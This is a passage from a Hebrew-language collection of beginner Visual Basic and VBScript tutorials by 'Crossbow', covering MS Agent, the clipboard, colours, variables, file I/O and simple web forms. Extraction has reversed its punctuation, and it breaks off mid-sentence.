‫אז אפשר גם לשלב אותם‪ .‬דבר ראשון שאנחנו צריכים ‪ -‬הפקד של האג'נט‪ .‬אפשר‬
‫להוריד את הפקד מהכתובת הבאה ‪:‬‬
‫‪http://www.microsoft.com/products/msagent‬‬
‫אם אני לא טועה‪ ,‬משתמשי וינדואוז ‪ 2000‬ומעלה לא צריכים להוריד את זה‪ .‬אני‬
‫חושב שברוב הגרסאות של וינדואוז יש את זה כבר‪ .‬טוב‪ ,‬הדבר השני שצריכים זה‬
‫דמות שתשמש כסוכן‪ .‬אפשר להוריד דמויות מהכתובת למעלה‪ ,‬ואפשר גם ליצור‬
‫דמויות‪ .‬בכתובת הבאה יש המון עזרים לזה‪ ,‬כולל יוצר דמויות אישי‪ ,‬התאמת‬
‫דיבור‪ ,‬ועוד‪:‬‬
‫‪http://www.microsoft.com/products/msagent/devdownloads.htm‬‬
‫טוב‪ ,‬אני ממליץ בחום להוריד את העוזר פידי (התוכי הירוק)‪ ,‬חברה שלי מתה‬
‫עליו‪ ...‬אוקיי‪ ,‬עכשיו תפתחו פרוייקט חדש‪ ,‬ואז תצרפו את הבקר‪ ,‬שבעצם נקרא‬
‫‪Microsoft Agent Control 2.0‬‬
‫ואז תיצרו אובייקט חדש מהסוג הזה‪ .‬תלחצו פעמיים על הפורם‪ .‬עכשיו‪ ,‬תכתבו‬
‫דבר כזה (קונטרול ושיפט)‪:‬‬

‫‪)(Private Sub Form_Load‬‬


‫‪"Agent1.Characters.Load "Peedy", "Peedy.acs‬‬
‫‪Agent1.Characters.Character("Peedy").Show‬‬
‫‪End Sub‬‬

‫זה בעצם יפעיל את פידי התוכי שלנו‪ .‬עכשיו‪ ,‬נגיד שאנחנו רוצים שפידי יגיד‬
‫לנו "אהלן"‪ .‬נוסיף את השורה הבאה (קונטרול ושיפט)‪:‬‬
‫‪"Agent1.Characters.Character("Peedy").Play "Wave‬‬

‫טוב‪ ,‬ועכשיו אנחנו רוצים שהוא יזוז קצת לצד (קונטרול ושיפט)‪:‬‬
‫‪Agent1.Characters.Character("Peedy").MoveTo 129, 49‬‬

‫טוב‪ ,‬ועכשיו שידבר (קונטרול ושיפט)‪:‬‬


‫‪"!Agent1.Characters.Character("Merlin").Speak "Fuck you all‬‬

‫ועכשיו‪ ,‬הנה הקוד המלא למה שעשינו (קונטרול ושיפט)‪:‬‬

‫‪)(Private Sub Form_Load‬‬


‫‪"Agent1.Characters.Load "Peedy", "Peedy.acs‬‬
‫‪Agent1.Characters.Character("Peedy").Show‬‬

‫‪574‬‬
‫‪"Agent1.Characters.Character("Peedy").Play "Wave‬‬
‫‪Agent1.Characters.Character("Peedy").MoveTo 129, 49‬‬
‫‪"!Agent1.Characters.Character("Merlin").Speak "Fuck you all‬‬
‫‪End Sub‬‬
‫טוב‪ ,‬יש כמובן עוד מלא פקודות באג'נט‪ ,‬אבל זה הבסיס‪ .‬החסרונות הגדולים הם‬
‫שאין תמיכה בשפה העברית‪ ,‬וגם אם אנחנו רוצים להעלות את זה על מחשב אחר‪,‬‬
‫אנחנו צריכים את כל הרכיבים (הבקר של אג'נט והסוכן) במחשב המארח‪ .‬טוב‪ ,‬זה‬
‫הכל להיום‪ .‬שלכם‪,‬‬
‫‪Crossbow‬‬
‫עבודה עם קליפבורד בויז'ואל בייסיק‬
‫היום‪ ,‬נלמד לעבוד עם ה קליפבורד בויזואל בייסיק‪ .‬טוב‪ ,‬דבר ראשון‪ ,‬מה זה‬
‫הקליפבורד? קליפבורד‪ ,‬נקרא בוינדואוז גם "תצוגת הלוח"‪ ,‬שומר את המידע‬
‫שברצוננו להעתיק‪ .‬בוינדואוז‪ ,‬בניגוד למערכות אחרות כמו אם אס דוס‪ ,‬למשל‪,‬‬
‫אנחנו יכולים לתת פקודה להעתיק את הקובץ‪ ,‬ואז לשחרר אותו כשמתאים לנו‪.‬‬
‫המידע בקליפבורד יכול להשמר בצורת טקסט (טקסט רגיל‪ ,‬או שמות של קבצים שגם‬
‫נשמרים במצב טקסטואלי)‪ ,‬תמונה (כמו בביטמפ‪ ,‬למשל)‪ ,‬צליל (כמו של שימוש‬
‫בתוכנה ‪ ,SNDREC.EXE‬למשל)‪ ,‬או אובייקט זמני (כמו העתקת אובייקט בויזואל‬
‫בייסיק)‪ .‬הכי טוב זה להראות לכם בטבלה‪:‬‬

‫== מה שנראה בקליפבורד‬ ‫הדבר שאותו אנחנו מעתיקים‬

‫== טקסט‪.‬‬ ‫טקסט רגיל‬


‫== טקסט‪.‬‬ ‫קובץ או מספר קבצים‬
‫== טקסט‪.‬‬ ‫תיקייה או מספר תיקיות‬
‫== תמונה מפגרת של צליל‪.‬‬ ‫צליל‬
‫== <אין אפשרות להציג ‪ -‬תבנית לא מוכרת>‪.‬‬ ‫אובייקט זמני‬

‫טוב‪ ,‬עכשיו‪ ,‬אתם יכולים לשחק עם זה קצת‪ ,‬להבין את זה‪ .‬נסו להעתיק (בלי‬
‫להדביק) כל מיני דברים שונים‪ ,‬ותראו מה קורה בקליפבורד‪ .‬אתם יכולים לפתוח‬
‫את הקליפבורד‪ ,‬ע"י התחל‪ ,‬הפעלה‪ "Clipbrd" ,‬ואז אנטר‪ .‬עכשיו‪ ,‬כל זה יופי‪,‬‬
‫אבל איך משתמשים בזה בויזואל בייסיק? טוב‪ ,‬זאת לא בעייה‪ .‬תיכנסו למצב של‬
‫הקידוד בויזואל בייסיק‪ .‬תעשו שם את הדבר הבא (קונטרול ושיפט)‪:‬‬

‫‪)(Private Sub Form_Load‬‬


‫‪"Clipboard.SetText "Fuck you all‬‬
‫‪End Sub‬‬

‫תריצו את התוכנה‪ ,‬ותבדקו מה יש בקליפבורד‪ .‬טוב‪ ,‬כמו שהבנתם בטח כבר‪ ,‬אפשר‬
‫לא רק לשלוח מידע לקליפבורד‪ ,‬אלא גם להוציא ממנו מידע‪ .‬תנסו להריץ הקוד‬
‫הבא (קונטרול ושיפט)‪:‬‬

‫‪)(Private Sub Form_Load‬‬


‫‪Dim VarX As String‬‬
‫‪VarX = Clipboard.GetText‬‬
‫‪Msgbox VarX‬‬
‫‪End Sub‬‬

‫טוב‪ ,‬זה בעצם קבלת מידע‪ ,‬שנכנס לתוך משתנה‪ .‬אני מקווה שלמדתם איך להשתמש‬
‫בזה‪ ,‬זה לא כל כך חשוב‪ ,‬אבל כדאי לדעת‪ .‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪575‬‬
‫שימוש בצבעים בויזואל בייסיק‬
‫טוב‪ ,‬יש כמה דרכים לייצג צבעים בויזואל בייסיק‪ .‬נשתמש הפעם בצבע האחורי‬
‫של הפורם שלנו‪ ,‬ששמו הוא פורם ‪ .1‬אז הנה הדרכים‪:‬‬

‫שימוש בצבע סטנדרטי‬

‫שימוש בצבעים סטנדרטיים‪ :‬שימוש בצבעים מוגדרים הנמצאים בויזואל בייסיק‬


‫והמשומשים הרבה‪ .‬כותבים את האותיות מפתח ואחריהן את הצבע באנגלית‪ .‬שימוש‬
‫זה הוא השימוש הכי מוגבל בצבעים‪ ,‬אך לא מסובך‪.‬‬
‫‪Form1.Backcolor = vbYellow‬‬
‫שורת תיכנות זו תהפוך את הצבע האחורי של הפורם לצבע צהוב‪.‬‬

‫שימוש בקיוביבולור‬

‫קיוביקולור היא שיטה להגדרת צבעים שבה המשתמש מגדיר מספר אחד‪ ,‬בין אפס‬
‫לחמש עשרה‪ .‬מי שמכיר את שפת התיכנות קיובייסיק מכיר את שיטת קיוביקולור‪.‬‬
‫שימוש זה גם מאוד מוגבל‪ ,‬וצריך גם לזכור כל מספר‪ ...‬בקיצר‪ ,‬לחובבנים‪.‬‬
‫‪)Form1.Backcolor = QBColor (14‬‬
‫שורת תיכנות זו תהפוך את הצבע האחורי של הפורם לצבע צהוב‪.‬‬

‫שימוש בצבעי יסוד‬

‫טוב‪ ,‬בניגוד לצבע רגיל‪ ,‬צבע של אור מורכב משלושה צבעי יסוד‪ :‬אדום‪ ,‬ירוק‬
‫וכחול‪ .‬פשוט מגדירים את רמת האדום‪ ,‬הירוק והכחול‪ .‬שימוש זה לדעתי מקצועי‬
‫כמעט כמו שפה הקסדימלית‪ ,‬וגם נוח לשימוש‪ .‬המלצה של קרוס בוו!‬
‫‪)Form1.Backcolor = RGB (255, 255, 0‬‬
‫שורת תיכנות זו תהפוך את הצבע האחורי של הפורם לצבע צהוב‪ ,‬על ידי הגדרת‬
‫אדום וירוק באופן מקסימלי וכחול לא נכנס‪.‬‬

‫שימוש בשפה הקסדימלית‬

‫טוב‪ ,‬הכי מקצועי אבל גם הכי מסובך‪ .‬לא כל כך מומלץ‪ ,‬יותר מדי אימוץ של‬
‫השכל שלנו בשביל להגדיר צבע‪ ,‬אבל בכל זאת מעניין לחקור את זה קצת‪.‬‬

‫שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪576‬‬
‫משתנים בויז'ואל בייסיק‬
‫אוקי‪ .‬מה זה משתנה? משתנה‪ Variable ,‬באנגלית‪ ,‬הוא אות‪ ,‬מילה או מספר‬
‫שהתפקיד שלהם הוא פנימי בלבד‪ ,‬יעני‪ ,‬המשתנה הוא לא פקד או פורם או משהו‬
‫שאפשר לראות‪ ,‬אבל אפשר לייצג אותו החוצה‪ .‬טוב‪ ,‬דבר ראשון‪ ,‬כמו בכל שפת‬
‫תיכנות‪ ,‬אנחנו צריכים להגיד לו שאנחנו רוצים להכניס משתנה חדש‪ .‬אחרי זה‬
‫מכניסים את השם החדש של המשתנה‪ ,‬ואחרי זה אפשר להשאיר אותו ריק (וריאבל)‪,‬‬
‫או שאפשר להגיד לתוכנה מה הסוג שלו‪ .‬טוב‪ ,‬אז זה הולך ככה‪:‬‬

‫‪Dim VarX As Integer‬‬

‫טוב‪ ,‬קצת הסברים‪:‬‬


‫‪ = Dim‬המילה שאומרת לתוכנית להכניס משתנה חדש‪.‬‬
‫‪ = VarX‬שם המשתנה החדש‪.‬‬
‫‪ = As‬מילה שאומרת לתוכנית שאנחנו רוצים להגדיר את סוג המשתנה‪.‬‬
‫‪ = Integer‬סוג המשתנה‪ .‬בדוגמא זו המשתנה הוא מספר מלא‪.‬‬

‫טוב‪ ,‬עכשיו אני אגיד לכם מהם סוגי המשתנים הכי משומשים והכי בסיסיים‪.‬‬

‫‪ = Boolean‬טכניקה בולאנית‪ .‬מחזיר נכון או לא נכון‪.‬‬


‫‪ = Byte‬הגדרת משתנה יחיד ששוקל ‪ 8‬ביט‪ ,‬שהם בייט אחד‪ .‬טווח של ‪ 0‬ל‪.255 -‬‬
‫‪ = Date‬הגדרת משתנה בתור תאריך חוץ מחשבי‪.‬‬
‫‪ = Double‬הגדרת משתנה כפול‪.‬‬
‫‪ = Integer‬הגדרת מספר מלא (ללא שברים)‪ .‬טווח עד למספר ‪.32767‬‬
‫‪ = Long‬מספר ארוך‪ .‬טווח עד למספר ‪.2147483648‬‬
‫‪ = New‬אובייקט חדש‪ .‬אחרי הסוג צריך להוסיף את סוג האובייקט‪.‬‬
‫‪ = Single‬חצי דובל‪ .‬הגדרת משתנה יחיד‪.‬‬
‫‪ = String‬מחרוזת‪ .‬כתב‪ ,‬טקסט‪ ,‬בקיצר‪.‬‬

‫טוב‪ ,‬אלה סוגי המשתנים‪ .‬עכשיו בואו נעבור לשגיאות המשתנים‪ .‬מה הבעייה‬
‫בשורות תיכנות הבאות?‬

‫‪Dim VarY As Integer‬‬


‫‪"VarY = "Crossbow‬‬
‫‪Msgbox VarY‬‬

‫הבעייה היא שהמשתנה מוגדר כמספר ואחר כך מוכנס לו ערך שהוא טקסט‪.‬‬
‫פה התוכנית תחזיר לנו שגיאה מספר ‪ ,13‬שאומרת שהסוג של המשתמש הוא טעות‪.‬‬
‫בואו נעבור לבעייה הבאה‪:‬‬

‫‪Dim VarZ As Byte‬‬


‫‪VarZ = 256‬‬

‫‪577‬‬
‫פה הבעייה היא שלמרות שסוג המשתנה מוגדר למספר שלם‪ ,‬והערך הוא מספר שלם‪,‬‬
‫יש לנו פה מספר שעבר את הטווח של סוג המשתנה‪ ,‬ולכן התוכנית תחזיר לנו את‬
‫שגיאה מספר ‪ ,6‬שאומרת שיש לנו פה עומס יתר‪.‬‬
‫טוב‪ ,‬עכשיו מה הבעייה פה?‬

‫‪Dim VarX As Integer‬‬


‫‪VarX = 7 / 2‬‬

‫הבעייה שהמשתנה הוא מספר מלא‪ ,‬והתוצאה חילוק הוא לא כל כך מספר מלא‪ .‬אבל‬
‫פה‪ ,‬לעומת הבעיות האחרות‪ ,‬לא תוחזר שגיאה‪ ,‬אלא המשתנה יעוגל באומדן למספר‬
‫השלם הכי קרוב‪ .‬אוקי‪ ,‬אלה היו סוגי השגיאות הכי נפוצות בויזואל בייסיק‪.‬‬
‫אפשר גם לגרום לשגיאה להעלם‪ .‬אפשר להשתמש בזה בכמה דרכים‪.‬‬

‫‪ = On Error Resume Next‬אם עלתה שגיאה‪ ,‬תתעלם ותמשיך לשורה הבאה‪.‬‬


‫‪ = On Error Goto Bye‬אם עלתה שגיאה‪ ,‬לך למיקום "ביי"‪.‬‬

‫טוב‪ ,‬זה מספיק‪ ,‬יעני‪ ,‬אני חושב שלמדתם מספיק‪ ,‬וחוצמזה אין לי כח לכתוב‪...‬‬
‫כל מיש שרוצה ללמוד תיכנות והוא לא ליימר יכול לשלוח לי לאייסיקיו בעיות‪,‬‬
‫ואני אעזור בכיף‪ .‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪578‬‬
‫פעולה עם קבצים בויזואל בייסיק‬
‫בעקבות בקשות ללימוד מתקדם יותר של ויזואל בייסיק‪ ,‬אני עכשיו אלמד אתכם‬
‫לכתוב ולקרוא קבצים דרך ויזואל בייסיק בלי שימוש באובייקט ‪( Fso‬שזה קיצור‬
‫של ‪ .)File System Object‬טוב‪ ,‬בואו נתחיל‪.‬‬

‫איך מיוצגים קבצים‬

‫טוב‪ ,‬קבצים מיוצגים בויזואל בייסיק על ידי מספרים (בניגוד לכמה שפות שבהן‬
‫קבצים הם משתנים)‪ .‬קובץ הוא בעצם קבוע בתוך מערך ויזואל בייסיק‪ .‬עכשיו‪,‬‬
‫כשאנחנו קוראים או כותבים בקובץ‪ ,‬אנחנו צריכים לפתוח אותו‪ .‬הנה דוגמא‬
‫טובה לפתיחת קובץ‪:‬‬

‫‪)(Private Sub Form1_Load‬‬


‫‪Open "C:\Kaki.txt" For Append As #1‬‬

‫‪Close #1‬‬
‫‪End Sub‬‬

‫הסברים‬

‫טוב‪ ,‬אנחנו לוקחים קובץ ופותחים אותו‪ .‬ההצהרה על הפתיחה כוללת מספר חלקים‬
‫שבעצם אומרים לנו איזה קובץ אנחנו פותחים‪ ,‬לאיזו מטרה אנחנו פותחים אותו‬
‫ואיך הוא ייוצג‪ .‬אחרי זה אנחנו מצהירים על סגירת הקובץ‪ .‬בין ההצהרות על‬
‫הפתיחה והסגירה אנחנו נרשום את הקוד שישתמש בקובץ שפתחנו‪ .‬אנחנו יכולים‬
‫לפתוח קובץ למספר מטרות‪ .‬הנה הסברים על כל אחד מהם‪:‬‬

‫‪Append‬‬

‫מוסיף מידע לסוף קובץ שקיים‪ .‬אם הקובץ לא קיים‪ ,‬ויזואל בייסיק ייצור אותו‬
‫בלי לתת שום הודעת שגיאה או אזהרה‪.‬‬

‫‪Binary‬‬

‫פותח קובץ בשפה בינארית טהורה ‪ -‬ביטים ובתים‪ .‬שוב‪ ,‬אם הקובץ לא קיים‪ ,‬הוא‬
‫ייווצר אוטומטית על ידי ויזואל בייסיק‪.‬‬

‫‪Input‬‬

‫פותח קובץ לקריאה מתוכו‪ .‬אם הקובץ לא קיים תעלה הודעת שגיאה‪.‬‬

‫‪Output‬‬

‫פותח קובץ לכתיבה אליו‪ .‬אם הקובץ לא קיים‪ ,‬הוא ייווצר‪.‬‬

‫‪579‬‬
‫‪Random‬‬

‫פותח את הקובץ לאכסון אקראי‪ .‬משומש בעיקר להקלטת מידע פשוט‪ .‬אם הקובץ לא‬
‫קיים‪ ,‬הוא ייווצר אוטומטית על ידי ויזואל בייסיק‪.‬‬

‫פונקציות לשימוש בקבצים‬

‫טוב‪ ,‬כמו שאמרנו קודם‪ ,‬יש גם מספר פונקציות בתוך הקבצים‪ .‬הנה כל הפקודות‬
‫שאפשר להכניס בתוך קובץ שפתחנו‪:‬‬

‫‪Line Input‬‬

‫שומר מידע בקובץ וכל פעם מוסיף שורה (כאילו לחצתם על אנטר)‪.‬‬

‫‪Input‬‬

‫מוציא מידע מתוך הקובץ‪.‬‬

‫‪Print‬‬

‫מכניס מידע לתוך הקובץ‪.‬‬

‫‪Write‬‬

‫מכניס מידע לתוך הקובץ‪ ,‬אבל עם כמה מאפיינים שונים מפונקציית ‪.Print‬‬

‫‪EOF‬‬

‫ממשיך עד שמגיע סוף הקובץ‪ .‬משמש בעיקר להוצאת מידע מתוך קובץ‪.‬‬

‫יישום מה שלמדנו‬

‫טוב‪ ,‬בואו נבנה תוכנית קטנה‪ .‬בתוכנית הזאת יהיה פורם (שייקרא ‪ ,)Form1‬גם‬
‫תהיה לנו איזו תיבת רשימות (שתיקרא ‪ .)List1‬טוב‪ ,‬בקוד הזה אנחנו קוראים‬
‫את כל מה שכתוב בקובץ ‪ Autoexec.bat‬שלנו‪ ,‬ומציג אותו בתיבת הרשימות‪:‬‬

‫‪)(Private Sub Form1_Load‬‬


‫‪Dim VarX As String‬‬
‫‪Open "C:\Autoexec.bat" For Input As #1‬‬
‫‪)Do Until EOF(1‬‬
‫‪Input #1, VarX‬‬
‫‪List1.AddItem VarX‬‬
‫‪Loop‬‬
‫‪Close #1‬‬
‫‪End Sub‬‬
‫הסברים‬

‫תוכנית מאוד פשוטה‪ :‬קודם כל אנחנו יוצרים משתנה שמיוצג בתור ‪ ,VarX‬אחר כך‬
‫אנחנו יוצרים לולאה שתמשיך עד שנגיע לסוף הקובץ‪ ,‬אחר כך אנחנו פשוט נכניס‬
‫את המידע מהקובץ על ידי פתיחת הקובץ לשליפת מידע‪ ,‬והוצאת המידע בעזרת‬
‫הפוקנצייה ‪ .Input‬אחרי זה אנחנו מכניסים את המידע (שעכשיו כתוב במשתנה‬

‫‪580‬‬
‫שהגדרנו מקודם) לתוך תיבת הרשימות‪ .‬אחרי כל זה‪ ,‬אנחנו סוגרים את הלולאה‪,‬‬
‫סוגרים את הקובץ‪ ,‬וסוגרים את התוכנית‪ .‬זהו‪.‬‬
‫נגמר‬

‫טוב‪ ,‬אני מקווה שהבנתם את הנושא הזה‪ ,‬נושא מכאיב ולפעמים מבלבל ולא קל‪,‬‬
‫אבל חשוב לדעת אותו (למרות שיש פקד ‪ ,FSO‬כי פשוט כמה שתהיו תלויים בפחות‬
‫פקדים ויותר בפונקציות ובפונקציות ‪ ,API‬כך התוכנית תעשה לכם פחות בעיות‪,‬‬
‫וכן‪ ,‬זהו החסרון הגדול מאוד של ויזואל בייסיק)‪ .‬שאלות‪ ,‬הארות‪ ,‬הערות‪,‬‬
‫ובכלל שאר ירקות יתקבלו בברכה לאייסיקיו שלי‪ .‬שלכם‪,‬‬
‫‪Crossbow‬‬
‫‪VISUAL BASIC SCRIPT‬‬
‫היום אני אלמד אתכם על ייצור דפי אינטרנט דינאמיים ואינטראקטיביים על ידי‬
‫שימוש בויבי סקריפט‪ .‬אז‪ ,‬מה זה ויבי סקריפט? ויבי סקריפט‪ ,‬נקרא באנגלית‬
‫בשם ‪ ,VbScript‬הוא לא ממש שפת תיכנות‪ ,‬אלא יותר שפת סקריפט‪ .‬שפת הסקריפט‬
‫הזו נגזרת משפת התיכנות ויזואל בייסיק (‪ ,)Visual Basic‬ולמרות השוני‬
‫ביניהם‪ ,‬יש גם המון דברים משותפים‪ .‬יתרון גדול של תיכנות דפי אינטרנט‬
‫בכלל ובשפות סקריפט בפרט‪ ,‬הוא שהן עם קוד מקור פתוח (המאפשר לכולנו לראות‬
‫בעצם את כל הקוד)‪ ,‬והן לא דורשות שום קומפיילר (מהדר)‪ .‬טוב‪ ,‬בואו נתחיל!‬

‫יצירת אובייקטים‬

‫טוב‪ ,‬כמו שויזואל בייסיק היא שפת תיכנות המוגדרת כשפה שהיא שפת תיכנות‬
‫מונחה אובייקטים (‪ ,)Object Orianted Programing‬ככה גם ויבי סקריפט‪ .‬כמו‬
‫גם בויזואל בייסיק‪ ,‬האובייקטים ממוקמים בתוך פורם (‪ .)Form‬כדי להבדיל את‬
‫יצירת האובייקטים משאר קוד דף האינטרנט (הידוע בתור ‪ ,)Html‬אנו ממקמים את‬
‫תוויות הפורם‪ .‬כל מה שיהיה בין תוויות הפורם יהיה מוגדר כאובייקט בתוך‬
‫הפורם הנוכחי‪ .‬הנה דוגמא לדף אינטרנט פשוט עם פורם‪:‬‬

‫<‪>HTML‬‬
‫<‪>HEAD‬‬
‫<‪>TITLE> My first dynamic page </TITLE‬‬
‫<‪>HEAD/‬‬
‫<‪>BODY‬‬
‫<‪>"FORM METHOD= "Post" ACTION = "" NAME = "Form1‬‬
‫<‪>FORM/‬‬
‫<‪>BODY/‬‬
‫<‪>HTML/‬‬

‫אם נריץ את הקוד על דפדפן‪ ,‬אנחנו נראה דף ריק‪ .‬זה מכיוון שהפורם הוא שדה‬
‫וירטואלי בלבד‪ ,‬ואין בו שום אובייקט כרגע‪ .‬בואו ניצור אובייקט‪ .‬בואו נעשה‬
‫ככה שאם אנחנו נלחץ על כפתור‪ ,‬תעלה הודעה מסויימת‪ .‬אז הנה‪ ,‬בואו נתחיל את‬
‫הכל על ידי הצבת אובייקט הכפתור בתוך הפורם שכבר יצרנו‪:‬‬

‫<‪>HTML‬‬
‫<‪>HEAD‬‬
‫<‪>TITLE> My first dynamic page </TITLE‬‬
‫<‪>HEAD/‬‬
‫<‪>BODY‬‬
‫<‪>"FORM METHOD= "Post" ACTION = "" NAME = "Form1‬‬
‫<‪>"INPUT TYPE= "button" NAME = "Button1" VALUE = "Click Here‬‬
‫<‪>FORM/‬‬
‫<‪>BODY/‬‬

‫‪581‬‬
‫<‪>HTML/‬‬

‫טוב‪ ,‬אז הנה‪ ,‬בין שתי תוויות הפורם שמנו אובייקט‪ .‬עכשיו‪ ,‬כל אובייקט בעצם‬
‫מתחיל בתווית אינפוט‪ .‬אחרי זה יש בדרך כלל שלושה מאפיינים מרכזיים‪ :‬שם‬
‫האובייקט‪ ,‬סוג האובייקט וערך האובייקט‪ .‬עכשיו‪ ,‬שם האובייקט הוא שם שיציין‬
‫את האובייקט‪ .‬כל פעם שאנחנו רוצים להתייחס לאוביקט שיצרנו‪ ,‬נתייחס אליו‬
‫בשם שהקצינו לו‪ .‬סוג האובייקט הוא הסוג של האובייקט שניצור‪ ,‬לדוגמא‪ ,‬סוג‬
‫של כפתור (במקרה הזה)‪ ,‬סוג של טקסטבוקס‪ ,‬סוג של פסוורדבוקס וכדומה‪.‬‬

‫סוגי האובייקטים‬

‫‪( button‬כפתור רגיל)‬

‫משמש בעיקר לאירוע לחיצה‪ .‬הערך שנקבע לו הוא הטקסט על משטח הכפתור‪ .‬כפתור‬
‫הוא פקד המוכר גם בסביבות פיתוח שונות (כמו ויזואל בייסיק או ג'אווה)‪.‬‬

‫‪( reset‬כפתור שחזור)‬

‫כמו הכפתור הרגיל‪ ,‬אבל לחיצה עליו תגרום לשחזור הפורם‪ ,‬לפני שהמשתמש שינה‬
‫מאפיינים כלשהם (כמו טקסט בתיבת טקסט לדוגמא)‪.‬‬

‫‪( submit‬כפתור קישורי)‬

‫כמו הכפתור הרגיל‪ ,‬אבל לחיצה עליו תגרום לקישור בין הדף למיקום אחר‪ ,‬וכל‬
‫המידע שיש בפורם יישלח‪.‬‬

‫‪( text‬תיבת טקסט רגילה)‬

‫משמשת להצגת וקבלת טקסטים‪ .‬הערך שנקבע לה הוא הטקסט ההתחלתי בתוכה‪ .‬תיבת‬
‫הטקסט‪ ,‬בדומה לכפתור‪ ,‬מוכרת גם היא בסביבות פיתוח אחרות‪.‬‬

‫‪( password‬תיבת טקסט מוצפן)‬

‫כמו תיבת הטקסט הרגילה‪ ,‬אבל הטקסט מוצג באמצעות סיסמא המוצגת ככוכביות‪.‬‬

‫‪( radio‬כפתור בחירה מעוגל)‬

‫משמש בעיקר לסימון של ייצוג כלפי המשתמש‪ .‬בכפתור הבחירה המעוגל הסימון‬
‫נעשה ע"י לחיצת עכבר יחידה‪ ,‬ונראה בצורת עיגול שחור‪.‬‬

‫‪( checkbox‬כפתור בחירה מרובע)‬

‫אותם מאפיינים כמו לכפתור הבחירה המעוגל‪ ,‬אבל הסימון נראה בצורת וי‪.‬‬

‫שימוש באירועי לחיצה‬

‫טוב‪ ,‬עכשיו אנחנו מגיעים לחלק האמיתי‪ .‬מי שמכיר ויזואל בייסיק‪ ,‬יודע שעד‬
‫עכשיו אנחנו עשינו רק את החלק הויזואלי‪ ,‬עכשיו רק את החלק הקל מאוד של‬
‫יצירת האובייקטים‪ .‬עכשיו הגיע הזמן לחלק הטכני‪ ,‬לתיכנות‪ .‬טוב‪ ,‬היום נלמד‬
‫רק אירוע אחד‪ ,‬למרות שיש יותר‪ .‬עכשיו‪ ,‬צריך להפריד את כל החלקים הטכניים‬
‫של הדף שלנו מהאובייקטים עצמם‪ ,‬נכון? אז עושים ככה‪ :‬מעל תווית הפתיחה‬
‫הראשונה‪ ,‬הידועה בשם ‪ ,Body‬אנחנו ניצור תוויות סקריפט‪ .Script :‬עכשיו‪ ,‬יש‬

‫‪582‬‬
‫יותר משפת סקריפט אחת‪ ,‬ולכן רצוי מאוד גם לציין את סוג הסקריפט שלנו‪ .‬סוג‬
‫הסקריפט שלנו נקרא ויבי סקריפט ואת זה נציין‪:‬‬

‫<‪>HTML‬‬
‫<‪>HEAD‬‬
‫<‪>TITLE> My first dynamic page </TITLE‬‬
‫<‪>HEAD/‬‬
‫<‪>"SCRIPT LANGUAGE = "VbScript‬‬

‫<‪>SCRIPT/‬‬
‫<‪>BODY‬‬
‫<‪>"FORM METHOD= "Post" ACTION = "" NAME = "Form1‬‬
‫<‪>"INPUT TYPE= "button" NAME = "Button1" VALUE = "Click Here‬‬
‫<‪>FORM/‬‬
‫<‪>BODY/‬‬
‫<‪>HTML/‬‬

‫עכשיו‪ ,‬כל הקטע התיכנותי יבוא בין שתי תוויות הסקריפט‪ .‬בואו ניצור משתנה‪.‬‬
‫עכשיו‪ ,‬בניגוד לשפות תיכנות כמו דלפי או ג'אווה‪ ,‬בויבי סקריפט אנחנו לא‬
‫הולכים לציין את סוג המשתנה‪ .‬לכל המשתנים יש את אותו טווח זיכרון‪ ,‬וככה‬
‫אנחנו הולכים לעבוד איתם‪ .‬יצירת המשתנה מתחילה בהצהרה על משתנה‪ ,‬ואחריו‬
‫שמו של המשתנה‪ .‬כמו בויזואל בייסיק‪ ,‬ההצהרה היא המילה ‪ .Dim‬הנה דוגמא‬
‫להצהרה המשתנה שייצג את קבלת הסיסמא מהמשתנה‪:‬‬

‫‪dim VarX‬‬

‫הערה חשובה‪ :‬שם משתנה אף פעם לא יתחיל במספר‪ .‬לא משנה מה‪ ,‬אסור אף פעם‬
‫ששמו של המשתנה יתחיל במספר‪ ,‬טוב?‬

‫אוקיי‪ ,‬עכשיו ניצור פונקצייה שתקבל סיסמא מסויימת מהמשתמש‪ ,‬ותחזיר אם‬
‫הסיסמא נכונה או לא‪ .‬בשביל לקבל את הסיסמא נשתמש בתיבת אינפוט‪.‬‬

‫תיבת אינפוט‬

‫תיבת אינפוט‪ ,‬הנקראת בשמה האנגלי ‪ ,Input Box‬היא הודעה המבקשת להכניס ערך‬
‫מסויים‪ ,‬הנקלט (בדרך כלל) בתוך התוכנית‪ .‬הנה דוגמא לתיבת אינפוט‪:‬‬

‫‪dim VarX‬‬
‫‪)":VarX = inputbox ("Plese insert the password‬‬

‫לאחר ההצהרה על תיבת האינפוט רושמים את הטקסט בתוכה‪ .‬עכשיו‪ ,‬הנה הקוד של‬
‫כל דף האינטרנט שלנו כרגע‪:‬‬

‫<‪>HTML‬‬
‫<‪>HEAD‬‬
‫<‪>TITLE> My first dynamic page </TITLE‬‬
‫<‪>HEAD/‬‬
‫<‪>"SCRIPT LANGUAGE = "VbScript‬‬
‫‪dim VarX‬‬
‫‪)":VarX = inputbox ("Plese insert the password‬‬
‫<‪>SCRIPT/‬‬

‫‪583‬‬
‫<‪>BODY‬‬
‫<‪>"FORM METHOD= "Post" ACTION = "" NAME = "Form1‬‬
‫<‪>"INPUT TYPE= "button" NAME = "Button1" VALUE = "Click Here‬‬
‫<‪>FORM/‬‬
‫<‪>BODY/‬‬
‫<‪>HTML/‬‬

‫טוב‪ ,‬עכשיו ניצור את האירוע‪ .‬אירועים מתחילים בהצהרה ע"י הקלדת המילה‬
‫האנגלית ‪ .Sub‬אחר כך מגיע שם האובייקט‪ ,‬אחר כך יגיע סוג האירוע‪ ,‬ואחריו‬
‫נרשום מה ייקרה במידה שהאירוע מתקיים‪ .‬לציון סוף הסקריפט של קיום האירוע‬
‫שהגדרנו‪ ,‬עלינו להצהיר על סיום כלשהו‪ .‬הנה דוגמא‪:‬‬

‫‪)(sub Button1_OnClick‬‬
‫‪)"!!!if VarX = "Haxor" then msgbox("Correct!!!") else msgbox("Wrong‬‬
‫‪end sub‬‬

‫שימו לב שכאן השתמשנו במשהו חדש‪ ,‬תיבת הודעה (‪ ,)msgbox‬השונה מתיבת‬


‫האינפוט בכך שהוא מציג הודעה בלי קבלת מחרוזת (‪ )String‬מהמשתמש‪ .‬עכשיו‪,‬‬
‫יש לנו פה תנאי‪ .‬התנאי אומר שאם המשתנה שווה למילה ‪ ,Haxor‬אז תוצג הודעה‬
